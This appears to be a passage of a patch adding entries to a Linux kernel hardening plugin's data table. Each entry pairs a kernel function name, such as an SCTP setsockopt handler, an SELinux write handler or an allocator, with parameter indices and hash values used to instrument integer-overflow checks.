++_000522_hash sctp_setsockopt_del_key 3 42304 _002709_hash NULL nohasharray
++_000523_hash sctp_setsockopt_events 3 18862 _000523_hash NULL
++_000524_hash sctp_setsockopt_hmac_ident 3 11687 _000524_hash NULL
++_000525_hash sctp_setsockopt_initmsg 3 1383 _000525_hash NULL
++_000526_hash sctp_setsockopt_maxburst 3 28041 _000526_hash NULL
++_000527_hash sctp_setsockopt_maxseg 3 11829 _000527_hash NULL
++_000528_hash sctp_setsockopt_peer_addr_params 3 734 _000528_hash NULL
++_000529_hash sctp_setsockopt_peer_primary_addr 3 13440 _000529_hash NULL
++_000530_hash sctp_setsockopt_rtoinfo 3 30941 _000530_hash NULL
++_000531_hash security_context_to_sid_core 2 29248 _000531_hash NULL
++_000532_hash sel_commit_bools_write 3 46077 _000532_hash NULL
++_000533_hash sel_write_avc_cache_threshold 3 2256 _000533_hash NULL
++_000534_hash sel_write_bool 3 46996 _000534_hash NULL
++_000535_hash sel_write_checkreqprot 3 60774 _000535_hash NULL
++_000536_hash sel_write_disable 3 10511 _000536_hash NULL
++_000537_hash sel_write_enforce 3 48998 _000537_hash NULL
++_000538_hash sel_write_load 3 63830 _000538_hash NULL
++_000539_hash send_bulk_static_data 3 61932 _000539_hash NULL
++_000540_hash set_aoe_iflist 2 42737 _000540_hash NULL
++_000541_hash setkey_unaligned 3 39474 _000541_hash NULL
++_000542_hash set_registers 3 53582 _000542_hash NULL
++_000543_hash setsockopt 5 54539 _000543_hash NULL
++_000544_hash setup_req 3 5848 _000544_hash NULL
++_000545_hash setxattr 4 37006 _000545_hash NULL
++_000546_hash sfq_alloc 1 2861 _000546_hash NULL
++_000547_hash sg_kmalloc 1 50240 _000547_hash NULL
++_000548_hash sgl_map_user_pages 2 30610 _000548_hash NULL
++_000549_hash shash_setkey_unaligned 3 8620 _000549_hash NULL
++_000550_hash shmem_xattr_alloc 2 61190 _000550_hash NULL
++_000551_hash sierra_setup_urb 5 46029 _000551_hash NULL
++_000552_hash simple_transaction_get 3 50633 _000552_hash NULL
++_000553_hash simple_write_to_buffer 2-5 3122 _000553_hash NULL
++_000555_hash sisusb_send_bulk_msg 3 17864 _000555_hash NULL
++_000556_hash skb_add_data 3 48363 _000556_hash NULL
++_000557_hash skb_do_copy_data_nocache 5 12465 _000557_hash NULL
++_000558_hash sl_alloc_bufs 2 50380 _000558_hash NULL
++_000559_hash sl_realloc_bufs 2 64086 _000559_hash NULL
++_000560_hash smk_set_cipso 3 20379 _000560_hash NULL
++_000561_hash smk_write_ambient 3 45691 _000561_hash NULL
++_000562_hash smk_write_direct 3 46363 _000562_hash NULL
++_000563_hash smk_write_doi 3 49621 _000563_hash NULL
++_000564_hash smk_write_logging 3 2618 _000564_hash NULL
++_000565_hash smk_write_mapped 3 13519 _000565_hash NULL
++_000566_hash smk_write_netlbladdr 3 42525 _000566_hash NULL
++_000567_hash smk_write_onlycap 3 14400 _000567_hash NULL
++_000568_hash smk_write_rules_list 3 18565 _000568_hash NULL
++_000569_hash snd_ctl_elem_user_tlv 3 11695 _000569_hash NULL
++_000570_hash snd_emu10k1_fx8010_read 5 9605 _000570_hash NULL
++_000571_hash snd_emu10k1_synth_copy_from_user 3-5 9061 _000571_hash NULL
++_000573_hash snd_gus_dram_poke 4 18525 _000573_hash NULL
++_000574_hash snd_hdsp_playback_copy 5 20676 _000574_hash NULL
++_000575_hash snd_info_entry_write 3 63474 _000575_hash NULL
++_000576_hash snd_korg1212_copy_from 6 36169 _000576_hash NULL
++_000577_hash snd_mem_proc_write 3 9786 _000577_hash NULL
++_000578_hash snd_midi_channel_init_set 1 30092 _000578_hash NULL
++_000579_hash snd_midi_event_new 1 9893 _000764_hash NULL nohasharray
++_000580_hash snd_opl4_mem_proc_write 5 9670 _000580_hash NULL
++_000581_hash snd_pcm_aio_read 3 13900 _000581_hash NULL
++_000582_hash snd_pcm_aio_write 3 28738 _000582_hash NULL
++_000583_hash snd_pcm_oss_write1 3 10872 _000583_hash NULL
++_000584_hash snd_pcm_oss_write2 3 27332 _000584_hash NULL
++_000585_hash snd_rawmidi_kernel_write1 4 56847 _000585_hash NULL
++_000586_hash snd_rme9652_playback_copy 5 20970 _000586_hash NULL
++_000587_hash snd_sb_csp_load_user 3 45190 _000587_hash NULL
++_000588_hash snd_usb_ctl_msg 8 8436 _000588_hash NULL
++_000589_hash sock_bindtodevice 3 50942 _000589_hash NULL
++_000590_hash sock_kmalloc 2 62205 _000590_hash NULL
++_000591_hash spidev_ioctl 2 12846 _000591_hash NULL
++_000592_hash spidev_write 3 44510 _000592_hash NULL
++_000593_hash squashfs_read_table 3 16945 _000593_hash NULL
++_000594_hash srpt_alloc_ioctx 2-3 51042 _000594_hash NULL
++_000596_hash srpt_alloc_ioctx_ring 2-4-3 49330 _000596_hash NULL
++_000597_hash st5481_setup_isocpipes 6-4 61340 _000597_hash NULL
++_000598_hash sta_agg_status_write 3 45164 _000598_hash NULL
++_000599_hash svc_setsockopt 5 36876 _000599_hash NULL
++_000600_hash sys_add_key 4 61288 _000600_hash NULL
++_000601_hash sys_modify_ldt 3 18824 _000601_hash NULL
++_000602_hash sys_semtimedop 3 4486 _000602_hash NULL
++_000603_hash sys_setdomainname 2 4373 _000603_hash NULL
++_000604_hash sys_sethostname 2 42962 _000604_hash NULL
++_000605_hash tomoyo_write_self 3 45161 _000605_hash NULL
++_000606_hash tower_write 3 8580 _000606_hash NULL
++_000607_hash tpm_write 3 50798 _000607_hash NULL
++_000608_hash trusted_instantiate 3 4710 _000608_hash NULL
++_000609_hash trusted_update 3 12664 _000609_hash NULL
++_000610_hash tty_buffer_alloc 2 45437 _000610_hash NULL
++_000611_hash __tun_chr_ioctl 4 22300 _000611_hash NULL
++_000612_hash ubi_more_leb_change_data 4 63534 _000612_hash NULL
++_000613_hash ubi_more_update_data 4 39189 _000613_hash NULL
++_000614_hash ubi_resize_volume 2 50172 _000614_hash NULL
++_000615_hash udf_alloc_i_data 2 35786 _000615_hash NULL
++_000616_hash uea_idma_write 3 64139 _000616_hash NULL
++_000617_hash uea_request 4 47613 _000617_hash NULL
++_000618_hash uea_send_modem_cmd 3 3888 _000618_hash NULL
++_000619_hash uio_write 3 43202 _000619_hash NULL
++_000620_hash um_idi_write 3 18293 _000620_hash NULL
++_000621_hash us122l_ctl_msg 8 13330 _000621_hash NULL
++_000622_hash usb_alloc_urb 1 43436 _000622_hash NULL
++_000623_hash usblp_new_writeurb 2 22894 _000623_hash NULL
++_000624_hash usblp_write 3 23178 _000624_hash NULL
++_000625_hash usbtest_alloc_urb 3-5 34446 _000625_hash NULL
++_000627_hash usbtmc_write 3 64340 _000627_hash NULL
++_000628_hash user_instantiate 3 26131 _000628_hash NULL
++_000629_hash user_update 3 41332 _000629_hash NULL
++_000630_hash uwb_rc_cmd_done 4 35892 _000630_hash NULL
++_000631_hash uwb_rc_neh_grok_event 3 55799 _000631_hash NULL
++_000632_hash v9fs_alloc_rdir_buf 2 42150 _000632_hash NULL
++_000633_hash vc_do_resize 3-4 48842 _000633_hash NULL
++_000635_hash vcs_write 3 3910 _000635_hash NULL
++_000636_hash vga_arb_write 3 36112 _000636_hash NULL
++_000637_hash vga_switcheroo_debugfs_write 3 33984 _000637_hash NULL
++_000638_hash vhci_get_user 3 45039 _000638_hash NULL
++_000639_hash video_proc_write 3 6724 _000639_hash NULL
++_000640_hash vlsi_alloc_ring 3-4 57003 _000640_hash NULL
++_000642_hash __vmalloc 1 61168 _000642_hash NULL
++_000643_hash vmalloc_32 1 1135 _000643_hash NULL
++_000644_hash vmalloc_32_user 1 37519 _000644_hash NULL
++_000645_hash vmalloc_exec 1 36132 _000645_hash NULL
++_000646_hash vmalloc_node 1 58700 _000646_hash NULL
++_000647_hash __vmalloc_node_flags 1 30352 _000647_hash NULL
++_000648_hash vmalloc_user 1 32308 _000648_hash NULL
++_000649_hash vol_cdev_direct_write 3 20751 _000649_hash NULL
++_000650_hash vp_request_msix_vectors 2 28849 _000650_hash NULL
++_000651_hash vring_add_indirect 3-4 20737 _000651_hash NULL
++_000653_hash vring_new_virtqueue 1 9671 _000653_hash NULL
++_000654_hash vxge_os_dma_malloc 2 46184 _000654_hash NULL
++_000655_hash vxge_os_dma_malloc_async 3 56348 _000655_hash NULL
++_000656_hash wdm_write 3 53735 _000656_hash NULL
++_000657_hash wiimote_hid_send 3 48528 _000657_hash NULL
++_000658_hash wlc_phy_loadsampletable_nphy 3 64367 _000658_hash NULL
++_000659_hash write 3 62671 _000659_hash NULL
++_000660_hash write_flush 3 50803 _000660_hash NULL
++_000661_hash write_rio 3 54837 _000661_hash NULL
++_000662_hash x25_asy_change_mtu 2 26928 _000662_hash NULL
++_000663_hash xdi_copy_from_user 4 8395 _000663_hash NULL
++_000664_hash xfrm_dst_alloc_copy 3 3034 _000664_hash NULL
++_000665_hash xfrm_user_policy 4 62573 _000665_hash NULL
++_000666_hash xfs_attrmulti_attr_set 4 59346 _000666_hash NULL
++_000667_hash xfs_handle_to_dentry 3 12135 _000667_hash NULL
++_000668_hash xip_file_read 3 58592 _000668_hash NULL
++_000669_hash __xip_file_write 3-4 2733 _000669_hash NULL
++_000671_hash xprt_rdma_allocate 2 31372 _000671_hash NULL
++_000672_hash zd_usb_iowrite16v_async 3 23984 _000672_hash NULL
++_000673_hash zd_usb_read_fw 4 22049 _000673_hash NULL
++_000674_hash zerocopy_sg_from_iovec 3 11828 _000674_hash NULL
++_000675_hash __a2mp_build 3 60987 _000675_hash NULL
++_000677_hash acpi_ex_allocate_name_string 2-1 7685 _001169_hash NULL nohasharray
++_000678_hash acpi_os_allocate_zeroed 1 37422 _000678_hash NULL
++_000679_hash acpi_ut_initialize_buffer 2 47143 _002830_hash NULL nohasharray
++_000680_hash ad7879_spi_xfer 3 36311 _000680_hash NULL
++_000681_hash add_new_gdb 3 27643 _000681_hash NULL
++_000682_hash add_numbered_child 5 14273 _000682_hash NULL
++_000683_hash add_res_range 4 21310 _000683_hash NULL
++_000684_hash addtgt 3 54703 _000684_hash NULL
++_000685_hash add_uuid 4 49831 _000685_hash NULL
++_000686_hash afs_cell_alloc 2 24052 _000686_hash NULL
++_000687_hash aggr_recv_addba_req_evt 4 38037 _000687_hash NULL
++_000688_hash agp_create_memory 1 1075 _000688_hash NULL
++_000689_hash agp_create_user_memory 1 62955 _000689_hash NULL
++_000690_hash alg_setsockopt 5 20985 _000690_hash NULL
++_000691_hash alloc_async 1 14208 _000691_hash NULL
++_000692_hash ___alloc_bootmem_nopanic 1 53626 _000692_hash NULL
++_000693_hash alloc_buf 1 34532 _000693_hash NULL
++_000694_hash alloc_chunk 1 49575 _000694_hash NULL
++_000695_hash alloc_context 1 41283 _000695_hash NULL
++_000696_hash alloc_ctrl_packet 1 44667 _000696_hash NULL
++_000697_hash alloc_data_packet 1 46698 _000697_hash NULL
++_000698_hash alloc_dca_provider 2 59670 _000698_hash NULL
++_000699_hash __alloc_dev_table 2 54343 _000699_hash NULL
++_000700_hash alloc_ep 1 17269 _000700_hash NULL
++_000701_hash __alloc_extent_buffer 3 15093 _000701_hash NULL
++_000702_hash alloc_group_attrs 2 9194 _000727_hash NULL nohasharray
++_000703_hash alloc_large_system_hash 2 22391 _000703_hash NULL
++_000704_hash alloc_netdev_mqs 1 30030 _000704_hash NULL
++_000705_hash __alloc_objio_seg 1 7203 _000705_hash NULL
++_000706_hash alloc_ring 2-4 15345 _000706_hash NULL
++_000707_hash alloc_ring 2-4 39151 _000707_hash NULL
++_000710_hash alloc_session 1-2 64171 _000710_hash NULL
++_000714_hash alloc_skb 1 55439 _000714_hash NULL
++_000715_hash alloc_skb_fclone 1 3467 _000715_hash NULL
++_000716_hash alloc_smp_req 1 51337 _000716_hash NULL
++_000717_hash alloc_smp_resp 1 3566 _000717_hash NULL
++_000718_hash alloc_ts_config 1 45775 _000718_hash NULL
++_000719_hash alloc_upcall 2 62186 _000719_hash NULL
++_000720_hash altera_drscan 2 48698 _000720_hash NULL
++_000721_hash altera_irscan 2 62396 _000721_hash NULL
++_000722_hash altera_set_dr_post 2 54291 _000722_hash NULL
++_000723_hash altera_set_dr_pre 2 64862 _000723_hash NULL
++_000724_hash altera_set_ir_post 2 20948 _000724_hash NULL
++_000725_hash altera_set_ir_pre 2 54103 _000725_hash NULL
++_000726_hash altera_swap_dr 2 50090 _000726_hash NULL
++_000727_hash altera_swap_ir 2 9194 _000727_hash &_000702_hash
++_000728_hash amd_create_gatt_pages 1 20537 _000728_hash NULL
++_000729_hash aoechr_write 3 62883 _003674_hash NULL nohasharray
++_000730_hash applesmc_create_nodes 2 49392 _000730_hash NULL
++_000731_hash array_zalloc 1-2 7519 _000731_hash NULL
++_000733_hash arvo_sysfs_read 6 31617 _000733_hash NULL
++_000734_hash arvo_sysfs_write 6 3311 _000734_hash NULL
++_000735_hash asd_store_update_bios 4 10165 _000735_hash NULL
++_000736_hash ata_host_alloc 2 46094 _000736_hash NULL
++_000737_hash atalk_sendmsg 4 21677 _000737_hash NULL
++_000738_hash ath6kl_cfg80211_connect_event 7-9-8 13443 _000738_hash NULL
++_000739_hash ath6kl_mgmt_tx 9 21153 _000739_hash NULL
++_000740_hash ath6kl_wmi_proc_events_vif 5 42549 _003190_hash NULL nohasharray
++_000741_hash ath6kl_wmi_roam_tbl_event_rx 3 43440 _000741_hash NULL
++_000742_hash ath6kl_wmi_send_mgmt_cmd 7 17347 _000742_hash NULL
++_000743_hash ath_descdma_setup 5 12257 _000743_hash NULL
++_000744_hash ath_rx_edma_init 2 65483 _000744_hash NULL
++_000745_hash ati_create_gatt_pages 1 4722 _003275_hash NULL nohasharray
++_000746_hash audit_expand 2 2098 _000746_hash NULL
++_000747_hash audit_init_entry 1 38644 _000747_hash NULL
++_000748_hash ax25_sendmsg 4 62770 _000748_hash NULL
++_000749_hash b1_alloc_card 1 36155 _000749_hash NULL
++_000750_hash b43_nphy_load_samples 3 36481 _000750_hash NULL
++_000751_hash batadv_orig_hash_add_if 2 10033 _000751_hash NULL
++_000752_hash batadv_orig_hash_del_if 2 48972 _000752_hash NULL
++_000753_hash batadv_tt_append_diff 4 20588 _000753_hash NULL
++_000754_hash batadv_tt_commit_changes 4 2008 _000754_hash NULL
++_000755_hash batadv_tt_prepare_packet_buff 4 1280 _000755_hash NULL
++_000756_hash bio_copy_user_iov 4 37660 _000756_hash NULL
++_000757_hash __bio_map_kern 3 47379 _000757_hash NULL
++_000758_hash bitmap_resize 2 33054 _000758_hash NULL
++_000759_hash blk_check_plugged 3 50736 _000759_hash NULL
++_000760_hash blk_register_region 1-2 51424 _000760_hash NULL
++_000762_hash bm_entry_write 3 28338 _000762_hash NULL
++_000763_hash bm_realloc_pages 2 9431 _000763_hash NULL
++_000764_hash bm_register_write 3 9893 _000764_hash &_000579_hash
++_000765_hash bm_status_write 3 12964 _000765_hash NULL
++_000766_hash br_mdb_rehash 2 42643 _000766_hash NULL
++_000767_hash btmrvl_sdio_host_to_card 3 12152 _000767_hash NULL
++_000768_hash btrfs_copy_from_user 1-3 43806 _000768_hash NULL
++_000770_hash btrfs_insert_delayed_dir_index 4 63720 _000770_hash NULL
++_000771_hash __btrfs_map_block 3 49839 _000771_hash NULL
++_000772_hash c4iw_init_resource 2-3 30393 _000772_hash NULL
++_000774_hash cache_downcall 3 13666 _000774_hash NULL
++_000775_hash cache_slow_downcall 2 8570 _000775_hash NULL
++_000776_hash caif_seqpkt_sendmsg 4 22961 _000776_hash NULL
++_000777_hash caif_stream_sendmsg 4 9110 _000777_hash NULL
++_000778_hash carl9170_cmd_buf 3 950 _000778_hash NULL
++_000779_hash cdev_add 2-3 38176 _000779_hash NULL
++_000781_hash cdrom_read_cdda 4 50478 _000781_hash NULL
++_000782_hash ceph_dns_resolve_name 2 62488 _000782_hash NULL
++_000783_hash ceph_msgpool_get 2 54258 _000783_hash NULL
++_000784_hash cfg80211_connect_result 4-6 56515 _000784_hash NULL
++_000786_hash cfg80211_disconnected 4 57 _000786_hash NULL
++_000787_hash cfg80211_inform_bss 8 19332 _000787_hash NULL
++_000788_hash cfg80211_inform_bss_frame 4 41078 _000788_hash NULL
++_000789_hash cfg80211_mlme_register_mgmt 5 19852 _000789_hash NULL
++_000790_hash cfg80211_roamed_bss 4-6 50198 _000790_hash NULL
++_000792_hash cgroup_file_write 3 52417 _000792_hash NULL
++_000793_hash cifs_readdata_alloc 1 26360 _000793_hash NULL
++_000794_hash cifs_readv_from_socket 3 19109 _000794_hash NULL
++_000795_hash cifs_writedata_alloc 1 32880 _003097_hash NULL nohasharray
++_000796_hash cnic_alloc_dma 3 34641 _000796_hash NULL
++_000797_hash cnic_init_id_tbl 2 41354 _000797_hash NULL
++_000798_hash configfs_write_file 3 61621 _000798_hash NULL
++_000799_hash construct_key 3 11329 _000799_hash NULL
++_000800_hash context_alloc 3 24645 _000800_hash NULL
++_000801_hash copy_to_user 3 57835 _000801_hash NULL
++_000802_hash cp210x_get_config 4 56229 _000802_hash NULL
++_000803_hash create_attr_set 1 22861 _000803_hash NULL
++_000804_hash create_bounce_buffer 3 39155 _000804_hash NULL
++_000805_hash create_gpadl_header 2 19064 _000805_hash NULL
++_000806_hash _create_sg_bios 4 31244 _000806_hash NULL
++_000807_hash cryptd_alloc_instance 2-3 18048 _000807_hash NULL
++_000809_hash crypto_ahash_setkey 3 55134 _000809_hash NULL
++_000810_hash crypto_alloc_instance2 3 25277 _000810_hash NULL
++_000811_hash crypto_shash_setkey 3 60483 _000811_hash NULL
++_000812_hash cxgb_alloc_mem 1 24007 _000812_hash NULL
++_000813_hash cxgbi_device_portmap_create 3 25747 _000813_hash NULL
++_000814_hash cxgbi_device_register 1-2 36746 _000814_hash NULL
++_000816_hash __cxio_init_resource_fifo 3 23447 _000816_hash NULL
++_000817_hash dccp_sendmsg 4 56058 _000817_hash NULL
++_000818_hash ddp_make_gl 1 12179 _000818_hash NULL
++_000819_hash depth_write 3 3021 _000819_hash NULL
++_000820_hash dev_irnet_write 3 11398 _000820_hash NULL
++_000821_hash dev_set_alias 3 50084 _000821_hash NULL
++_000822_hash dev_write 3 7708 _000822_hash NULL
++_000823_hash dfs_global_file_write 3 6112 _000823_hash NULL
++_000824_hash dgram_sendmsg 4 45679 _000824_hash NULL
++_000825_hash disconnect 4 32521 _000825_hash NULL
++_000826_hash dma_attach 6-7 50831 _000826_hash NULL
++_000828_hash dma_declare_coherent_memory 4-2 14244 _000828_hash NULL
++_000829_hash dn_sendmsg 4 38390 _000829_hash NULL
++_000830_hash dn_setsockopt 5 314 _000830_hash NULL
++_000831_hash do_arpt_set_ctl 4 51053 _000831_hash NULL
++_000832_hash do_dccp_setsockopt 5 54377 _003195_hash NULL nohasharray
++_000833_hash do_ip6t_set_ctl 4 60040 _000833_hash NULL
++_000834_hash do_ipt_set_ctl 4 56238 _000834_hash NULL
++_000835_hash do_jffs2_setxattr 5 25910 _000835_hash NULL
++_000836_hash do_msgsnd 4 1387 _000836_hash NULL
++_000837_hash do_pselect 1 62061 _000837_hash NULL
++_000838_hash do_raw_setsockopt 5 55215 _000838_hash NULL
++_000839_hash do_readv_writev 4 51849 _000839_hash NULL
++_000840_hash do_sync 1 9604 _000840_hash NULL
++_000841_hash dup_array 3 33551 _000841_hash NULL
++_000842_hash ecryptfs_decode_and_decrypt_filename 5 10379 _000842_hash NULL
++_000843_hash ecryptfs_encrypt_and_encode_filename 6 2109 _000843_hash NULL
++_000844_hash ecryptfs_send_message_locked 2 31801 _000844_hash NULL
++_000845_hash edac_device_alloc_ctl_info 1 5941 _000845_hash NULL
++_000846_hash edac_mc_alloc 4 3611 _000846_hash NULL
++_000847_hash edac_pci_alloc_ctl_info 1 63388 _000847_hash NULL
++_000848_hash efivar_create_sysfs_entry 2 19485 _000848_hash NULL
++_000849_hash enable_write 3 30456 _000849_hash NULL
++_000850_hash enclosure_register 3 57412 _000850_hash NULL
++_000851_hash enlarge_skb 2 44248 _002839_hash NULL nohasharray
++_000852_hash evdev_ioctl_handler 2 21705 _000852_hash NULL
++_000853_hash ext4_kvzalloc 1 47605 _000853_hash NULL
++_000854_hash extend_netdev_table 2 21453 _000854_hash NULL
++_000855_hash fcoe_ctlr_device_add 3 1793 _000855_hash NULL
++_000856_hash fd_do_readv 3 51297 _000856_hash NULL
++_000857_hash fd_do_writev 3 29329 _000857_hash NULL
++_000858_hash __feat_register_sp 6 64712 _000858_hash NULL
++_000859_hash __ffs_ep0_read_events 3 48868 _000859_hash NULL
++_000860_hash ffs_ep0_write 3 9438 _000860_hash NULL
++_000861_hash ffs_epfile_read 3 18775 _000861_hash NULL
++_000862_hash ffs_epfile_write 3 48014 _000862_hash NULL
++_000863_hash fib_info_hash_alloc 1 9075 _000863_hash NULL
++_000864_hash fillonedir 3 41746 _000864_hash NULL
++_000865_hash fs_devrw_entry 3 11924 _000865_hash NULL
++_000866_hash fs_path_prepare_for_add 2 61854 _000866_hash NULL
++_000867_hash fuse_fill_write_pages 4 53682 _000867_hash NULL
++_000868_hash fw_device_op_ioctl 2 11595 _000868_hash NULL
++_000869_hash fw_iso_buffer_init 3 54582 _000869_hash NULL
++_000870_hash fw_node_create 2 9559 _000870_hash NULL
++_000871_hash garmin_read_process 3 27509 _000871_hash NULL
++_000872_hash garp_request_join 4 7471 _000872_hash NULL
++_000873_hash generic_perform_write 3 54832 _000873_hash NULL
++_000874_hash gen_pool_add_virt 4 39913 _000874_hash NULL
++_000875_hash get_derived_key 4 61100 _000875_hash NULL
++_000876_hash get_new_cssid 2 51665 _000876_hash NULL
++_000877_hash getxattr 4 24398 _003758_hash NULL nohasharray
++_000878_hash gsm_control_reply 4 53333 _000878_hash NULL
++_000879_hash hcd_alloc_coherent 5 55862 _000879_hash NULL
++_000880_hash hci_sock_sendmsg 4 37420 _000880_hash NULL
++_000881_hash hidraw_ioctl 2 63658 _000881_hash NULL
++_000882_hash hidraw_write 3 31536 _000882_hash NULL
++_000883_hash hid_register_field 2-3 4874 _000883_hash NULL
++_000885_hash hid_report_raw_event 4 2762 _000885_hash NULL
++_000886_hash hpi_alloc_control_cache 1 35351 _000886_hash NULL
++_000887_hash hugetlbfs_read_actor 2-5-4 34547 _000887_hash NULL
++_000890_hash hvc_alloc 4 12579 _000890_hash NULL
++_000891_hash __hwahc_dev_set_key 5 46328 _000891_hash NULL
++_000892_hash i2400m_zrealloc_2x 3 54166 _001549_hash NULL nohasharray
++_000893_hash ib_alloc_device 1 26483 _000893_hash NULL
++_000894_hash ib_create_send_mad 5 1196 _000894_hash NULL
++_000895_hash ibmasm_new_command 2 25714 _000895_hash NULL
++_000896_hash ib_send_cm_drep 3 50186 _000896_hash NULL
++_000897_hash ib_send_cm_mra 4 60202 _003063_hash NULL nohasharray
++_000898_hash ib_send_cm_rtu 3 63138 _000898_hash NULL
++_000899_hash ide_core_cp_entry 3 22636 _000899_hash NULL
++_000900_hash ieee80211_if_write_smps 3 35550 _000900_hash NULL
++_000901_hash ieee80211_if_write_tkip_mic_test 3 58748 _000901_hash NULL
++_000902_hash ieee80211_if_write_tsf 3 36077 _000902_hash NULL
++_000903_hash ieee80211_if_write_uapsd_max_sp_len 3 14233 _000903_hash NULL
++_000904_hash ieee80211_if_write_uapsd_queues 3 51526 _000904_hash NULL
++_000905_hash ieee80211_key_alloc 3 19065 _000905_hash NULL
++_000906_hash ieee80211_send_probe_req 6-4 6924 _000906_hash NULL
++_000907_hash ieee80211_skb_resize 3 50211 _000907_hash NULL
++_000908_hash if_spi_host_to_card 4 62890 _000908_hash NULL
++_000909_hash if_writecmd 2 815 _000909_hash NULL
++_000910_hash init_bch 1-2 64130 _000910_hash NULL
++_000912_hash init_ipath 1 48187 _000912_hash NULL
++_000913_hash init_list_set 2-3 39188 _000913_hash NULL
++_000915_hash init_q 4 132 _000915_hash NULL
++_000916_hash init_state 2 60165 _000916_hash NULL
++_000917_hash init_tag_map 3 57515 _000917_hash NULL
++_000918_hash input_ff_create 2 21240 _000918_hash NULL
++_000919_hash input_mt_init_slots 2 31183 _000919_hash NULL
++_000920_hash interfaces 2 38859 _000920_hash NULL
++_000921_hash int_hardware_entry 3 36833 _000921_hash NULL
++_000922_hash int_hw_irq_en 3 46776 _000922_hash NULL
++_000923_hash int_tasklet_entry 3 52500 _000923_hash NULL
++_000924_hash ioat2_alloc_ring 2 11172 _000924_hash NULL
++_000925_hash ip_generic_getfrag 3-4 12187 _000925_hash NULL
++_000927_hash ip_options_get_alloc 1 7448 _000927_hash NULL
++_000928_hash ipr_alloc_ucode_buffer 1 40199 _000928_hash NULL
++_000929_hash ip_set_alloc 1 57953 _000929_hash NULL
++_000930_hash ip_setsockopt 5 33487 _000930_hash NULL
++_000931_hash ipv6_flowlabel_opt 3 58135 _001179_hash NULL nohasharray
++_000932_hash ipv6_renew_options 5 28867 _000932_hash NULL
++_000933_hash ipv6_setsockopt 5 29871 _000933_hash NULL
++_000934_hash ipxrtr_route_packet 4 54036 _000934_hash NULL
++_000935_hash irda_sendmsg 4 4388 _000935_hash NULL
++_000936_hash irda_sendmsg_dgram 4 38563 _000936_hash NULL
++_000937_hash irda_sendmsg_ultra 4 42047 _000937_hash NULL
++_000938_hash irias_add_octseq_attrib 4 29983 _000938_hash NULL
++_000939_hash irq_alloc_generic_chip 2 26650 _000939_hash NULL
++_000940_hash iscsi_alloc_session 3 49390 _000940_hash NULL
++_000941_hash iscsi_create_conn 2 50425 _000941_hash NULL
++_000942_hash iscsi_create_endpoint 1 15193 _000942_hash NULL
++_000943_hash iscsi_create_iface 5 38510 _000943_hash NULL
++_000944_hash iscsi_decode_text_input 4 58292 _000944_hash NULL
++_000945_hash iscsi_pool_init 2-4 54913 _000945_hash NULL
++_000947_hash iscsit_dump_data_payload 2 38683 _000947_hash NULL
++_000948_hash isdn_write 3 45863 _000948_hash NULL
++_000949_hash isku_receive 4 54130 _000949_hash NULL
++_000950_hash islpci_mgt_transaction 5 23610 _000950_hash NULL
++_000951_hash iso_alloc_urb 4-5 45206 _000951_hash NULL
++_000952_hash iso_sched_alloc 1 13377 _003325_hash NULL nohasharray
++_000953_hash iwl_trans_txq_alloc 3 36147 _000953_hash NULL
++_000954_hash ixgbe_alloc_q_vector 4-6 24439 _000954_hash NULL
++_000956_hash jbd2_journal_init_revoke 2 51088 _000956_hash NULL
++_000957_hash jffs2_write_dirent 5 37311 _000957_hash NULL
++_000958_hash journal_init_revoke 2 56933 _000958_hash NULL
++_000959_hash keyctl_instantiate_key 3 41855 _000959_hash NULL
++_000960_hash keyctl_instantiate_key_iov 3 16969 _000960_hash NULL
++_000961_hash __kfifo_from_user 3 20399 _000961_hash NULL
++_000962_hash kimage_crash_alloc 3 3233 _000962_hash NULL
++_000963_hash kimage_normal_alloc 3 31140 _000963_hash NULL
++_000964_hash kmem_realloc 2 37489 _000964_hash NULL
++_000965_hash kmem_zalloc 1 11510 _000965_hash NULL
++_000966_hash koneplus_sysfs_read 6 42792 _000966_hash NULL
++_000967_hash kvm_kvzalloc 1 52894 _000967_hash NULL
++_000968_hash kvm_read_guest_page_mmu 6 37611 _000968_hash NULL
++_000969_hash kvm_set_irq_routing 3 48704 _000969_hash NULL
++_000970_hash kvm_write_guest_cached 4 11106 _000970_hash NULL
++_000971_hash kvm_write_guest_page 5 63555 _002812_hash NULL nohasharray
++_000972_hash kzalloc_node 1 24352 _000972_hash NULL
++_000973_hash l2cap_skbuff_fromiovec 3-4 35003 _000973_hash NULL
++_000975_hash l2tp_ip_sendmsg 4 50411 _000975_hash NULL
++_000976_hash l2tp_session_create 1 25286 _000976_hash NULL
++_000977_hash lc_create 3 48662 _000977_hash NULL
++_000978_hash leaf_dealloc 3 29566 _000978_hash NULL
++_000979_hash linear_conf 2 23485 _003837_hash NULL nohasharray
++_000980_hash llc_ui_sendmsg 4 24987 _000980_hash NULL
++_000981_hash load_module 2 60056 _003010_hash NULL nohasharray
++_000982_hash lpfc_sli4_queue_alloc 3 62646 _000982_hash NULL
++_000983_hash mdiobus_alloc_size 1 52259 _000983_hash NULL
++_000984_hash mempool_create_node 1 3191 _000984_hash NULL
++_000985_hash mem_read 3 57631 _000985_hash NULL
++_000986_hash memstick_alloc_host 1 142 _000986_hash NULL
++_000987_hash mem_swapout_entry 3 32586 _000987_hash NULL
++_000988_hash mem_write 3 22232 _000988_hash NULL
++_000989_hash mesh_table_alloc 1 22305 _000989_hash NULL
++_000990_hash mfd_add_devices 4 16668 _000990_hash NULL
++_000991_hash mISDN_sock_sendmsg 4 41035 _000991_hash NULL
++_000992_hash mlx4_init_icm_table 4-5 2151 _000992_hash NULL
++_000994_hash mmc_alloc_host 1 48097 _000994_hash NULL
++_000995_hash mmc_test_alloc_mem 2-3 28102 _000995_hash NULL
++_000997_hash mon_bin_ioctl 3 2771 _000997_hash NULL
++_000998_hash mpi_alloc 1 18094 _000998_hash NULL
++_000999_hash mpihelp_mul_karatsuba_case 5-3 23918 _003061_hash NULL nohasharray
++_001000_hash __mptctl_ioctl 2 15875 _001000_hash NULL
++_001001_hash mtd_concat_create 2 14416 _001001_hash NULL
++_001002_hash mthca_alloc_cq_buf 3 46512 _001002_hash NULL
++_001003_hash mvumi_alloc_mem_resource 3 47750 _001003_hash NULL
++_001004_hash mwifiex_11n_create_rx_reorder_tbl 4 63806 _001004_hash NULL
++_001005_hash mwifiex_alloc_sdio_mpa_buffers 2-3 60961 _001005_hash NULL
++_001007_hash mwl8k_cmd_set_beacon 4 23110 _001007_hash NULL
++_001008_hash neigh_hash_alloc 1 17595 _001008_hash NULL
++_001009_hash __netdev_alloc_skb 2 18595 _001009_hash NULL
++_001010_hash __netlink_change_ngroups 2 46156 _001010_hash NULL
++_001011_hash netlink_sendmsg 4 33708 _001236_hash NULL nohasharray
